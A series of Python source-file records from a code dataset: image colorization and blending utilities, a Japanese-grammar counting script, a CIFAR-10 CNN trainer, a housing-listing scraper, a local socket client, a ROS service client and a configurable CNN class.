any alpha channel in image\n            and use this value instead (slightly faster if all alpha is equal)\n        mode: 'normal', 'screen', 'multiply', or 'overlay'\n        input_max: maximum value for the input images and top_opacity value\n            (e.g. 1, 255, 65535).\n\n    Returns: image, alpha\n        image: array of shape (x, y, 3) with dtype matching the bottom paramter\n        alpha: scalar (if RGB arrays or top_alpha and bottom_alpha are specified)\n            or array of shape (x, y, 1). To make a RGBA image from the latter,\n            just do: numpy.concatenate([image, alpha], axis=-1)\n    \"\"\"\n    bottom = numpy.asarray(bottom)\n    dtype = bottom.dtype\n    assert mode in ('normal', 'screen', 'multiply', 'overlay')\n    top, top_alpha = _prepare_and_premultiply(top, top_alpha, input_max)\n    bottom, bottom_alpha = _prepare_and_premultiply(bottom, bottom_alpha, input_max)\n    out_alpha = top_alpha + bottom_alpha - top_alpha * bottom_alpha\n    if mode == 'normal':\n        out = top + bottom * (1 - top_alpha)\n    elif mode == 'screen':\n        out = top + bottom - top * bottom\n    elif mode == 'multiply':\n        out = top * bottom + top * (1 - bottom_alpha) + bottom * (1 - top_alpha)\n        out.clip(0, 1, out=out)\n    elif mode == 'overlay':\n        mult_mask = (2 * bottom <= bottom_alpha)[:, :, 0]\n        out = numpy.empty_like(bottom)\n        t = top[mult_mask]\n        if top_alpha.ndim > 0:\n            ta = top_alpha[mult_mask]\n        else:\n            ta = top_alpha\n        b = bottom[mult_mask]\n        if bottom_alpha.ndim > 0:\n            ba = bottom_alpha[mult_mask]\n        else:\n            ba = bottom_alpha\n        out[mult_mask] = 2 * t * b + t * (1 - ba) + b * (1 - ta)\n\n        mult_mask = ~mult_mask\n        t = top[mult_mask]\n        if top_alpha.ndim > 0:\n            ta = top_alpha[mult_mask]\n        b = bottom[mult_mask]\n        if bottom_alpha.ndim > 0:\n            ba = bottom_alpha[mult_mask]\n        out[mult_mask] = t * (1 + ba) + b * (1 + ta) - 2 * t * b - ta * ba\n        out.clip(0, 1, out=out)\n    def on_invalid(err, flag):\n        out[numpy.isnan(out)] = 0\n    numpy.seterrcall(on_invalid)\n    with numpy.errstate(invalid='call'):\n        out /= out_alpha\n    return (out * input_max).astype(dtype), (out_alpha * input_max).astype(dtype)\n\ndef _prepare_and_premultiply(array, alpha, input_max):\n    assert array.ndim == 3 and array.shape[2] in (3, 4)\n    if alpha is not None:\n        assert 0 <= alpha <= input_max\n        alpha /= input_max\n    array = numpy.asarray(array, dtype=numpy.float32) / input_max\n    if alpha is not None:\n        array = array[:, :, :3] * alpha\n    elif array.shape[2] == 3:\n        alpha = 1\n    else:\n        alpha = array[:, :, 3:] # shape (x, y, 1)\n        array = array[:, :, :3] * alpha # shape (x, y, 3)\n    return array, numpy.asarray(alpha, dtype=numpy.float32)\n\ndef multi_blend(arrays, colors, alphas=None, modes=None, input_max=1, color_max=1):\n    \"\"\"Composite one or more one-channel images atop one another, colorizing each.\n\n    The arrays will be blended in reverse order: arrays[0] will be the base and\n    arrays[-1] will be the top image.\n\n    Parameters:\n        arrays: list of input images of shape (x, y).\n        colors: list of RGB or RGBA tuples, one for each input array.\n        alphas: opacity value for each image (if not None, overrides any alpha\n            channel information each image may have).\n        modes: None, or list of 'normal', 'screen', 'multiply', or 'overlay'. If\n            None, use 'normal' blend mode. Blend mode ignored for bottom-most\n            image.\n        input_max: maximum possible value of the input images (e.g. 1, 255, 65535)\n        color_max: maximum value of of the RGB colors (e.g. 1 or 255 usually)\n\n    Returns: image, alpha\n        image: array of shape (x, y, 3) with dtype matching arrays[0]\n        alpha: scalar (if RGB arrays or 'alpha' parameterers are specified)\n            or array of shape (x, y, 1) if RGBA images were provided.\n            To make a RGBA image from the latter, just do:\n                numpy.concatenate([image, alpha], axis=-1)\n    \"\"\"\n    if alphas is None:\n        alphas = [None] * len(arrays)\n    if modes is None:\n        modes = ['normal'] * len(arrays)\n    colorized = [color_tint(array, color, input_max) for array, color in zip(arrays, colors)]\n    bottom = colorized[0]\n    bottom_alpha = alphas[0]\n    for top, top_alpha, mode in zip(colorized[1:], alphas[1:], modes[1:]):\n            bottom, bottom_alpha = blend(top, bottom, top_alpha, bottom_alpha, mode, color_max)\n    return bottom, bottom_alpha\n\ndef color_tint(array, target_color, input_max=1):\n    \"\"\"Given a one-channel image and an RGB[A] tuple, return a color-tinted image.\n\n    The output image values will range from (0,0,0) to (R,G,B), weighted by the\n    array values (divided by the input_max). If an alpha value is provided, the\n    output alpha channel will be that value (not weighted by the input image)\n\n    Parameters:\n        array: input image of shape (x, y).\n        target_color: (R, G, B) tuple. If a (R, G, B, A) tuple, an alpha channel\n            consisting of the A value will be added to the image.\n        input_max: maximum possible value of the input image (e.g. 1, 255, 65535)\n\n    Output: image with shape = array.shape + (len(target_color),)\n\n    \"\"\"\n    channels = len(target_color)\n    assert channels in (3, 4)\n    assert array.ndim == 2\n    array = numpy.asarray(array, dtype=numpy.float32) / input_max\n    out = array[:, :, numpy.newaxis] * numpy.asarray(target_color, dtype=numpy.float32)\n    # nb: seems wasteful to make the alpha channel above (weighted by the array values)\n    # and then overwrite below, but this appears to be the fastest way in numpy...\n    if channels == 4:\n        out[:, :, 3].fill(target_color[3])\n    return out\n\ndef color_map(array, spectrum_max=0.925, uint8=True, cmap='plasma', input_max=1):\n    \"\"\"Color-map the input array on a pleasing black-body-ish black-blue-red-orange-yellow\n    spectrum, using matplotlib's excellent and perceptually linear \"plasma\" or \"inferno\" colormap.\n\n    Parameters:\n        array: input image of shape (x, y).\n        spectrum_max: controls the point along the spectrum (0 to 1)\n            at which the colormap ends. A value of 1 is often too intensely\n            yellow for good visualization.\n        uint8: if True, return uint RGB tuples in range [0, 255], otherwise\n            floats in [0, 1]\n        cmap: matplotlib color map to use. Should be 'plasma' or 'inferno'.\n        input_max: maximum possible value of the input image (e.g. 1, 255, 65535)\n\n    Output: array of shape array.shape + (3,), where color values are RGB tuples\n    \"\"\"\n    array = numpy.asarray(array, dtype=numpy.float32) / input_max * spectrum_max\n    assert array.min() >= 0 and array.max() <= 1\n    return cm.get_cmap(cmap)(array, bytes=uint8)[...,:3]\n\ndef _gen_label_colors(seed=0):\n    colors = [[0, 0, 0]]\n    rs = numpy.random.RandomState(seed=seed)\n    while len(colors) < 2**16:\n        rgb = rs.randint(256, size=3)\n        r, g, b = rgb\n        luma = 0.2126*r + 0.7152*g + 0.0722*b # use CIE 1931 linear luminance\n        if luma < 75:\n            continue\n        mr = (rgb[0] + colors[-1][0])/2\n        dr, dg, db = (rgb - colors[-1])**2\n        dc = 2*dr + 4*dg + 3*db + mr*(dr - db)/256\n        if dc > 10000:\n            colors.append(rgb)\n    colors = numpy.array(colors, dtype=numpy.uint8)\n    import pathlib\n    numpy.save(str(pathlib.Path(__file__).parent/'_label_colors.npy'), colors)\n\n_label_colors = None\ndef _get_label_colors():\n    global _label_colors\n    if _label_colors is None:\n        _label_colors = numpy.load(pkg_resources.resource_stream(__name__, '_label_colors.npy'))\n    return _label_colors\n\ndef colorize_label_image(array, cmap=None, uint8=True):\n    \"\"\"Color-map an image consisting of labeled regions (each with different\n    integer-valued label).\n\n    Parameters:\n        array: integer-valued array\n        cmap: if None, use a default mapping of integers to colors; otherwise\n            use the named matplotlib colormap. A qualitative colormap like 'tab20'\n            is a good idea.\n        uint8: if True, return uint RGB tuples in range [0, 255], otherwise\n            floats in [0, 1]\n\n    Example of making a label image from a set of masks:\n    label_image = numpy.zeros(masks[0].shape, dtype=numpy.uint16)\n    for i, mask in enumerate(masks):\n        label_image[mask] = i + 1\n    colorized = colorize_label_image(label_image)\n    \"\"\"\n    if cmap is None:\n        colorized = _get_label_colors()[array]\n    else:\n        colormap = cm.get_cmap(cmap)\n        colorized = colormap(array % colormap.N, bytes=uint8)[...,:3]\n        colorized[array == 0] = 0\n    return colorized\n\ndef luminance(color_array):\n    \"\"\"Return luminance of an RGB (or RGBA) array (shape (x, y, 3) or (x, y, 4),\n    respectively) using the formula for CIE 1931 linear luminance:\n    https://en.wikipedia.org/wiki/Grayscale#Converting_color_to_grayscale\n    \"\"\"\n    R, G, B = color_array.transpose((2,0,1))[:3]\n    return 0.2126*R + 0.7152*G + 0.0722*B\n\ndef interpolate_color(array, zero_color, max_color, input_max=1):\n    \"\"\"Make an image with colors lineraly interpolated between two RGB tuples.\n\n    Parameters:\n        array: input image of shape (x, y).\n        zero_color: color of output image where input array == 0\n        max_color: color of output image where input array == input_max\n        input_max: maximum possible value of the input image (e.g. 1, 255, 65535)\n\n    \"\"\"\n    array = numpy.asarray(array, dtype=numpy.float32) / input_max\n    return (color_tint(array, zero_color) + color_tint(array, max_color)) * input_max\n\ndef neg_pos_color_tint(array, zero_color=(0,0,0), neg_color=(255,0,76), pos_color=(0,50,255)):\n    \"\"\"Tint a signed array with two different sets of colors, one for negative numbers\n    to zero, and one for zero to positive numbers.\n\n    Parameters:\n        array: MUST be scaled in the range [-1, 1]\n        zero_color: RGB tuple of the color at the zero value\n        pos_color: RBG tuple of the color that 1 in the input array should map to\n        neg_color: RBG tuple of the color that -1 in the input array should map to\n    \"\"\"\n    array = numpy.asarray(array)\n    negative_mask = array < 0\n    negative = array[negative_mask]\n    positive = array[~negative_mask]\n    neg_colors = interpolate_color(-negative, zero_color, neg_color)\n    pos_colors = interpolate_color(positive, zero_color, pos_color)\n    output = numpy.empty(array.shape, dtype=numpy.uint8)\n    output[negative_mask] = neg_colors\n    output[~negative_mask] = pos_colors\n    return output\n\ndef wavelength_to_rgb(l):\n    \"\"\"Given a wavelength in nanometers, regurn an RGB tuple using\n    the so-called \"Bruton's Algorithm\".\n    http://www.physics.sfasu.edu/astro/color/spectra.html\n\n    Note: wavelength parameter must be in the range [350, 780]\n    \"\"\"\n    assert (350 <= l <= 780)\n    if l < 440:\n        R = (440-l)/(440-350)\n        G = 0\n        B = 1\n    elif l < 490:\n        R = 0\n        G = (l-440)/(490-440)\n        B = 1\n    elif l < 510:\n        R = 0\n        G = 1\n        B = (510-l)/(510-490)\n    elif l < 580:\n        R = (l-510)/(580-510)\n        G = 1\n        B = 0\n    elif l < 645:\n        R = 1\n        G = (645-l)/(645-580)\n        B = 0\n    else:\n        R = 1\n        G = 0\n        B = 0\n    if l > 700:\n        intensity = 0.3 + 0.7 * (780-l)/(780-700)\n    elif l < 420:\n        intensity = 0.3 + 0.7 * (l-350)/(420-350)\n    else:\n        intensity = 1\n    return (255 * intensity * numpy.array([R,G,B])).astype(numpy.uint8)\n\n\n### DEPRECATED FUNCTIONS ###\nimport warnings\n\ndef screen(a, b, input_max=255):\n    \"\"\"Blend two arrays together using the 'screen' mode.\n\n    Good for combining color-tinted fluorescence images with brightfield, for example.\n    Parameter 'max_possible' refers to the brightest-possible value in the array.\n    E.g. 1 for images scaled from 0 to 1, or 255 for images scaled from 0 to 255.\n    \"\"\"\n    warnings.warn('screen function is deprecated: use blend', FutureWarning)\n    a = a.astype(numpy.float32)\n    b = b.astype(numpy.float32)\n    return input_max - (((input_max - a)*(input_max - b))/input_max)\n\ndef multi_screen(arrays, max_possible=255):\n    \"\"\"Screen a list of arrays together. See 'screen()' for an explanation of the\n    parameters\"\"\"\n    warnings.warn('multi_screen function is deprecated: use multi_blend', FutureWarning)\n    b = arrays[0]\n    for a in arrays[1:]:\n        b = screen(a, b, max_possible)\n    return b\n\ndef alpha_blend(top, bottom, alpha):\n    \"\"\"Blend top image onto bottom image using the provided alpha value(s).\n\n    Parameters:\n        top, bottom: images, either of shape (x, y) or (x, y, c).\n        alpha: alpha value for blending, either scalar, or (x, y) mask. Must be\n            in the range [0, 1]\n    \"\"\"\n    warnings.warn('alpha_blend function is deprecated: use blend', FutureWarning)\n    alpha = numpy.asarray(alpha)\n    assert top.shape == bottom.shape\n    if len(top.shape) == 3 and len(alpha.shape) == 2:\n        # RBG image with 2d mask\n        alpha = alpha[:, :, numpy.newaxis]\n    return (top * alpha + bottom * (1-alpha)).astype(bottom.dtype)\n\ndef composite(bf, fl_images, fl_colors, bf_color=(255,255,255)):\n    \"\"\"Composite one or more fluorescence images on top of a brightfield image.\n\n    Parameters:\n        bf: brightfield image. MUST be scaled in the range [0, 1].\n        fl_images: list of fluorescence images. MUST be scaled in the range [0, 1].\n        fl_colors: list of RGB tuples for the color-tint of each fluorescence image.\n        bf_color: RGB tuple for the color-tint of the brigtfield image. (White is usual.)\n\n    Output: RGB image.\n    \"\"\"\n    warnings.warn('composite function is deprecated: use multi_blend', FutureWarning)\n    bf = color_tint(bf, bf_color).astype(numpy.uint8)\n    fl_images = [color_tint(fl, cl).astype(numpy.uint8) for fl, cl in zip(fl_images, fl_colors)]\n    return multi_screen([bf] + fl_images)\n","sub_path":"zplib/image/colorize.py","file_name":"colorize.py","file_ext":"py","file_size_in_byte":15538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"33194619","text":"#-*- encoding: utf-8 -*-\nfrom __future__ import print_function\nimport nltk\nimport sys\nimport random\nimport glob\nimport math\nimport pickle\nfrom collections import defaultdict\nimport re\nimport codecs\nimport subprocess\nimport sqlite3\nfrom datetime import datetime\nfrom time import time\n\n\ndef read_KNPs():\n    text_fnames = glob.glob('knp_dismantled_data/*.knp')\n    return (text_fnames)\n\n\ndef read_BCCWJs():\n    text_fnames = glob.glob('data/*.cabocha')\n    return (text_fnames)\n\n#l = sys.argv\nukemi_dic = {}\nsieki_dic = {}\n\ntext_list = read_KNPs()\nall_len = 0\ncount = 0\ncount1 = 0\n\nif __name__ == '__main__':\n    for text in text_list:\n        f = codecs.open(text, 'r', 'utf-8')\n        x = f.read()\n        list1 = []\n        list2 = []\n\n        rows = x.split(\"\\n\")\n        for row_num, row in enumerate(rows):\n            words = row.split()\n            if len(words) > 0:\n                if words[0] == \"*\":\n                    for word in words:\n                        if \"<態:受動>\" in word:\n                            list1.append(str(row_num))\n                            count += 1\n                        if \"<態:使役>\" in word:\n                            list2.append(str(row_num))\n                            count1 += 1\n        if len(list1) > 0:\n            ukemi_dic[text.split(\"/\")[1][:-4]] = list1\n        if len(list2) > 0:\n            sieki_dic[text.split(\"/\")[1][:-4]] = list2\n\n    with open('ukemi_dic.pickle', 'wb') as f:\n        pickle.dump(ukemi_dic, f)\n\n    with open('sieki_dic.pickle', 'wb') as f:\n        pickle.dump(sieki_dic, f)\n    print(count)\n    print(count1)\n","sub_path":"yougen_ukemi_sieki.py","file_name":"yougen_ukemi_sieki.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"27569779","text":"import tensorflow.compat.v1 as tf\r\ntf.disable_v2_behavior() \r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport os\r\nimport matplotlib.image as mpimg\r\nimport random\r\nimport pickle\r\nimport scipy.io as sio\r\nfrom numpy.random import seed\r\nfrom numpy.random import randint\r\nfrom sklearn.metrics import confusion_matrix\r\nseed(1)\r\ndef smooth(y,box_pts):\r\n    box = np.ones(box_pts)/box_pts\r\n    y_smooth = np.convolve(y,box,mode='same')\r\n    return y_smooth\r\n\r\n#loading data and label \r\ndata_file = open(\"cifar_10_tf_train_test.pkl\",\"rb\")\r\ntrain_x, train_y, test_x, test_y = pickle.load(data_file,encoding='latin1')\r\ntrain_y = np.array(train_y)\r\ntest_y = np.array(test_y)\r\ndata_file.close()\r\n\r\n#Hyperparameter Setting \r\nbatch_size = 100\r\nmax_training_epochs = 120000\r\ndisplay_step = 100\r\nlength_train = len(train_x)\r\nlength_test = len(test_x)\r\n\r\n#%----------------Forward Propagation----------------------\r\ntf.reset_default_graph()\r\nsigma_init = 0.1\r\ninput_img = tf.placeholder(dtype=tf.uint8,shape = [None, 32, 32, 3],name = 'input_img')\r\ntrue_lbl = tf.placeholder(dtype=tf.int64,shape = [None],name = 'true_lbl')\r\n\r\n#Data Preprocessing by scaling and normalizing\r\ninput_img_float = tf.dtypes.cast(input_img,tf.float32,name = 'input_img_float')\r\ninput_img_scaled = tf.divide(input_img_float,255.0,name='input_img_scaled')\r\nx = tf.nn.batch_normalization(input_img_scaled,tf.reduce_mean(input_img_scaled,0),1,0,1,1e-4)\r\n\r\n#First Convolutional Layer \r\nW1 = tf.Variable(tf.random_normal([5,5,3,32],mean=0,stddev=1/(5*5*3),dtype='float32'),name='W1')\r\nW1_0 = tf.Variable(tf.zeros([32],dtype='float32'),name='W1_0')\r\nConv1 = tf.nn.relu(tf.nn.bias_add(tf.nn.conv2d(x,W1,strides=[1,1,1,1],padding='VALID'),W1_0,name='Conv1'))\r\nPool1 = tf.nn.max_pool2d(Conv1,ksize=[1, 2, 2, 1],strides=[1, 2, 2, 1],padding='VALID',name='Pool1')\r\n\r\n#Second Convolutional Layer\r\nW2 = tf.Variable(tf.random_normal([5,5,32,32],mean=0,stddev=1/(5*5*3),dtype='float32'),name='W2')\r\nW2_0 = tf.Variable(tf.zeros([32],dtype='float32'),name='W2_0')\r\nConv2 = tf.nn.relu(tf.nn.bias_add(tf.nn.conv2d(Pool1,W2,strides=[1,1,1,1],padding='VALID'),W2_0,name='Conv2'))\r\nPool2 = tf.nn.max_pool2d(Conv2,ksize=[1, 2, 2, 1],strides=[1, 2, 2, 1],padding='VALID',name='Pool2')\r\n\r\n#Third Convolutional Layer\r\nW3 = tf.Variable(tf.random_normal([3,3,32,64],mean=0,stddev=1/(3*3*32),dtype='float32'),name='W3')\r\nW3_0 = tf.Variable(tf.zeros([64],dtype='float32'),name='W3_0')\r\nConv3 = tf.nn.relu(tf.nn.bias_add(tf.nn.conv2d(Pool2,W3,strides=[1,1,1,1],padding='VALID'),W3_0,name='Conv3'))\r\n\r\n#Fully Connected Layer\r\nFc = tf.reshape(Conv3,[-1,3*3*64],name='Fc')\r\n\r\n#Output and Predicted Label \r\nW4 = tf.Variable(tf.random_normal([3*3*64,10],mean=0,stddev=1/(3*3*64),dtype='float32'),name='W3')\r\nW4_0 = tf.Variable(tf.zeros([10],dtype='float32'),name='W4_0')\r\nlogits = tf.add(tf.matmul(Fc,W4),W4_0)\r\nsoftmax_op = tf.nn.softmax(logits,name='softmax_op')\r\npredict_lbl = tf.argmax(softmax_op,axis=1,name='predict_lbl')\r\n\r\n#Create the collection \r\ntf.get_collection(\"validation_nodes\")\r\n#Add stuff to the collection \r\ntf.add_to_collection(\"validation_nodes\",input_img)\r\ntf.add_to_collection(\"validation_nodes\", predict_lbl)\r\n\r\nsaver = tf.train.Saver()\r\n\r\n\r\n\r\n#%-----------------Loss Function-------------------------------------------\r\nloss_func = tf.nn.sparse_softmax_cross_entropy_with_logits(labels=true_lbl,logits=logits,name='Loss')\r\ncost = tf.div(tf.reduce_sum(loss_func),batch_size)\r\ntrain_step = tf.train.AdamOptimizer(0.0001).minimize(loss_func)\r\nconfig = tf.ConfigProto()\r\nconfig.gpu_options.allow_growth = True\r\nsess = tf.Session(config=config)\r\ninit = tf.global_variables_initializer()\r\n\r\n\r\nwith tf.Session() as sess:\r\n    sess.run(init)\r\n    train_err = []\r\n    test_err = []\r\n    cost_list = []\r\n    epoch = 0 \r\n    while epoch < max_training_epochs:\r\n\r\n        #Random batchfor SGD \r\n        random_inds = randint(0,length_train-1,batch_size) \r\n        batch_x = train_x[random_inds,:]\r\n        batch_y = train_y[random_inds]\r\n        \r\n        feed_dict_train = {input_img:batch_x,true_lbl:batch_y};\r\n        train_step.run(feed_dict=feed_dict_train)\r\n        print(\"Epoch number \" + str(epoch))\r\n        cost_ep = cost.eval(feed_dict_train)\r\n        print(cost_ep)\r\n        cost_list.append(cost_ep)\r\n        \r\n        #Training Error\r\n        predictions = sess.run(predict_lbl, feed_dict = {input_img:batch_x})\r\n        train_acc = sum(predictions==batch_y)/len(predictions)\r\n        print(\"Training Accuracy is \" + str(train_acc))\r\n\r\n        #Testing Error\r\n        predictions = sess.run(predict_lbl, feed_dict = {input_img: test_x})\r\n        test_acc = sum(predictions==test_y)/len(predictions)\r\n        print(\"Testing Accuracy is \" + str(test_acc))\r\n        if (epoch+1) % display_step == 0:\r\n            train_err.append(1 - train_acc)\r\n            test_err.append(1 - test_acc)\r\n        epoch = epoch + 1\r\n    save_path = saver.save(sess,\"my_model\")\r\n    weight = sess.run(W1)\r\n    predictions = sess.run(predict_lbl, feed_dict = {input_img: test_x})\r\n#%% plot the training error\r\n#%% plot the overall training accuracy\r\nplt.plot(train_err)\r\nplt.xlabel('per 1000 iterations')\r\nplt.ylabel('Overall Classification error for training')\r\nplt.savefig('overall_error_train.jpg')\r\nplt.close()\r\n\r\n#%% plot the overall testing error\r\nplt.plot(test_err)\r\nplt.xlabel('per 1000 iterations')\r\nplt.ylabel('Overall Classification error for testing')\r\nplt.savefig('overall_error_test.jpg')\r\nplt.close()\r\nfigs,axs = plt.subplots(4,8,constrained_layout = True)\r\nfor i in range(32):\r\n    image = weight[:,:,:,i:i+1]\r\n    image = image.reshape(5,5,3)\r\n    r = np.int32(np.divide(i,8))\r\n    c = np.int32(np.mod(i,8))\r\n    axs[r,c].set_title(str(i))\r\n    axs[r,c].imshow(image)\r\n    axs[r,c].axis('off')\r\nfigs.suptitle('Weight Filters of the First Layer')\r\n#plt.show()\r\nplt.savefig('weights.jpg')\r\nplt.close()\r\nprint(confusion_matrix(test_y,predictions,normalize='true'))\r\nsio.savemat('result_for_conf.mat', {'predictions':predictions,'true_lbls':test_y})\r\nexit()\r\n\r\n\r\n\r\n","sub_path":"conv_nn_image_classification.py","file_name":"conv_nn_image_classification.py","file_ext":"py","file_size_in_byte":6017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"141377943","text":"import  requests\nfrom lxml import etree\nfrom spider.dbUtils import Db\nimport random\nimport time\ndef spider():\n    # 数据库名称，url链接拼接\n    spider_area=\"shijingshan\"\n    # 连接数据库\n    db = Db(spider_area)\n    # 页数\n    page=1\n    while True:\n        time.sleep(1)\n\n\n        # 请求某一页得数据\n        res=requests.get(\"https://bj.lianjia.com/ershoufang/{}/pg{}/\".format(spider_area,page))\n        page+=1\n        # 转换html数据方便xpath解析\n        tree = etree.HTML(res.text)\n        # 解析出来列表为li\n        hotellist=tree.xpath('//ul[@class=\"sellListContent\"]/li/div[@class=\"info clear\"]')\n        # 如果没有解析道，说明没有数据了，则跳出循环\n        if len(hotellist)<=0:\n            break\n        data=[]\n        # 循环获取到的li标签\n        for i in hotellist:\n            info=[]\n            # 根据相关页面结构解析相关信息\n            title=i.xpath('./div[@class=\"title\"]/a/text()')[0]\n            info.append(title)\n            floodList=i.xpath('./div[@class=\"flood\"]/div/a/text()')\n            address=i.xpath('./div[@class=\"address\"]/div/text()')[0]\n            # info.append(address)\n            flood=\"\"\n            # 位置有俩标签所决定，解析出来时一个数组，拼接一下\n            for x in floodList:\n                flood=flood+x\n                flood=flood+'-'\n            flood=flood[:-1]\n            info.append(flood)\n            # 其他一些信息时同一个标签下，用|分割，解析后，分割一下数据，然后进行下方得操作\n            address=address.split(\"|\")\n            #为了防止数据不完整性导致取值出错导致程序异常结束，所以抛出一下异常\n            try:\n                info.append(address[4])\n\n                info.append(address[5])\n                info.append(address[1][:-3])\n                info.append(address[2])\n                info.append(address[0])\n                # 解析总价和单价\n                total_price=i.xpath('./div[@class=\"priceInfo\"]/div[@class=\"totalPrice\"]/span/text()')[0]\n                unit_price=i.xpath('./div[@class=\"priceInfo\"]/div[@class=\"unitPrice\"]/@data-price')[0]\n                info.append(total_price)\n                info.append(unit_price)\n                data.append(info)\n            except:\n                continue\n        # 插入数据库\n        db.insert(data)\n    #关闭数据库\n    db.close()\n\n# sellListContent\nif __name__ == '__main__':\n    spider()","sub_path":"spider/shijingshanSpider.py","file_name":"shijingshanSpider.py","file_ext":"py","file_size_in_byte":2508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"206445705","text":"#!/usr/bin/env python3\n\n# import socket\n# import json\n\n# HOST = '127.0.0.1'  # Standard loopback interface address (localhost)\n# PORT = 9999        # Port to listen on (non-privileged ports are > 1023)\n\n# with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\n#     s.bind((HOST, PORT))\n#     s.listen()\n#     conn, addr = s.accept()\n#     with conn:\n#         print('Connected by', addr)\n#         while True:\n#             data = conn.recv(1024)\n#             result = (data.decode('utf-8'))\n#             print('result : ',result)\n            \n#             if not data:\n#                 print('breaked')\n#                 break\n#             conn.sendall(data)\n#     # print(data.decode('utf-8'))\n    \n\n\n# import socket\n# c = socket.socket()\n\n# c.bind((HOST,PORT))\n# print(c.recv(1024).decode())\n\n\n\n# An example script to connect to Google using socket \n# programming in Python \n# import socket # for socket \n# import sys  \n  \n# try: \n#     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) \n#     print (\"Socket successfully created\")\n# except socket.error as err: \n#     print (\"socket creation failed with error %s\" %(err) )\n  \n# # default port for socket \n# port = 9998\n  \n# try: \n#     host_ip = socket.gethostbyname('www.google.com') \n# except socket.gaierror: \n  \n#     # this means could not resolve the host \n#     print (\"there was an error resolving the host\")\n#     sys.exit() \n  \n# # connecting to the server \n# s.bind((HOST, PORT)) \n  \n# print (\"the socket has successfully connected to google.\")\n\n\nimport socket\n\ns = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(('',9000))\nreuslt = ''\n\nwhile True:\n    data = s.recv(8)\n    if len(msg) <= 0 :\n        break \n    reuslt += data.decode('utf-8')\n\nprint(reuslt)","sub_path":"tools/OJ/socket_manager.py","file_name":"socket_manager.py","file_ext":"py","file_size_in_byte":1750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"120545448","text":"#!/usr/bin/env python\n\nfrom __future__ import print_function\n\nimport sys\nimport rospy\nfrom robotican_demos_upgrade.srv import *\n\ndef push_button_client():\n    rospy.wait_for_service('robot_navigation')\n    try:\n        robot_navigation_req = rospy.ServiceProxy('robot_navigation', robot_navigation) \n        resp1 = robot_navigation_req(\"corridor\", \"armadillo\", \"location1\", \"location2\", \"floor\")     \n        print(\"responding!\")   \n        return resp1.response\n    except rospy.ServiceException as e:\n        print(\"Service call failed: %s\"%e)\n\nif __name__ == \"__main__\":    \n    resp = push_button_client()\n    print('The response is: ', resp)\n    if(resp == \"success\" or resp == \"failure\"):\n        print(\"pushed the button successfully!!\")\n        sys.exit()\n\n\n'''\n#!/usr/bin/env python\n\nfrom __future__ import print_function\n\nimport sys\nimport rospy\nfrom robotican_demos_upgrade.srv import *\n\ndef push_button():\n    rospy.wait_for_service('push_button')\n    try:\n        push_button_req = rospy.ServiceProxy('push_button', push_button) \n        resp1.response = push_button_req(\"push_button\", \"armadillo\", \"elevator\", \"floor\", \"button\")        \n        print(resp1.response)\n        return resp1.response\n    except rospy.ServiceException as e:\n        print(\"Service call failed: %s\"%e)\n\nif __name__ == \"__main__\":    \n    push_button()\n    #if(resp == \"success\" or resp == \"failure\"):\n    #    sys.exit() \n    \n'''","sub_path":"robotican_demos_upgrade/script/robot_navigation_client.py","file_name":"robot_navigation_client.py","file_ext":"py","file_size_in_byte":1423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"8066350","text":"import tensorflow as tf\r\nimport yaml\r\nimport pprint\r\n\r\nclass Cnn:\r\n\r\n    def __init__(self, logger, conf_path, testing=False):\r\n\r\n        self.logger = logger\r\n        self.testing = testing\r\n\r\n        # load configuration\r\n        with open(conf_path, 'r') as fd:\r\n            self.conf = yaml.safe_load(fd)\r\n\r\n        self.logger.info('conf- \\n{0}'.format(pprint.pformat(self.conf)))\r\n\r\n        # layers\r\n        # key order of a dictionary while loading using yaml -\r\n        # https://github.com/yaml/pyyaml/issues/110#issuecomment-392264165\r\n        self.layers_array = []\r\n\r\n        conf_layers = self.conf['layers']\r\n        num_layers = len(conf_layers)\r\n        count = 1\r\n\r\n        for key in conf_layers:\r\n\r\n            if key.startswith('input'):\r\n                img_rows = conf_layers[key]['img_rows']\r\n                img_cols = conf_layers[key]['img_cols']\r\n                img_channels = conf_layers[key]['img_channels']\r\n                self.layer_input = tf.compat.v1.placeholder(tf.float32, shape=[None, img_rows, img_cols, img_channels])\r\n                self.layers_array.append(self.layer_input)\r\n\r\n            elif key.startswith('conv'):\r\n                filter_rows = conf_layers[key]['filter_rows']\r\n                filter_cols = conf_layers[key]['filter_cols']\r\n                filter_channels = conf_layers[key]['filter_channels']\r\n                out_channels = conf_layers[key]['out_channels']\r\n                stride_rows = conf_layers[key]['stride_rows']\r\n                stride_cols = conf_layers[key]['stride_cols']\r\n                activation = conf_layers[key]['activation']\r\n                layer_conv = self.conv(filter_rows, filter_cols, filter_channels, out_channels,\r\n                                       self.layers_array[-1], stride_rows, stride_cols, activation)\r\n                self.layers_array.append(layer_conv)\r\n\r\n            elif key.startswith('max_pool'):\r\n                filter_rows = conf_layers[key]['filter_rows']\r\n                filter_cols = conf_layers[key]['filter_cols']\r\n                stride_rows = conf_layers[key]['stride_rows']\r\n                stride_cols = conf_layers[key]['stride_cols']\r\n                activation = conf_layers[key]['activation']\r\n                layer_max_pool = self.max_pool(self.layers_array[-1], filter_rows, filter_cols, stride_rows,\r\n                                               stride_cols, activation)\r\n                self.layers_array.append(layer_max_pool)\r\n\r\n            elif key.startswith('fc'):\r\n                if key == 'fc_1':\r\n                    # flatten data\r\n                    num_features = self.layers_array[-1].shape[1:].num_elements()\r\n                    self.layers_array[-1] = tf.reshape(self.layers_array[-1], [-1, num_features])\r\n                    dim_input = num_features\r\n                else:\r\n                    # previous fc layer's dim\r\n                    dim_input = dim\r\n                dim = conf_layers[key]['dim']\r\n                activation = conf_layers[key]['activation']\r\n                layer_fc = self.fc(dim_input, dim, self.layers_array[-1], 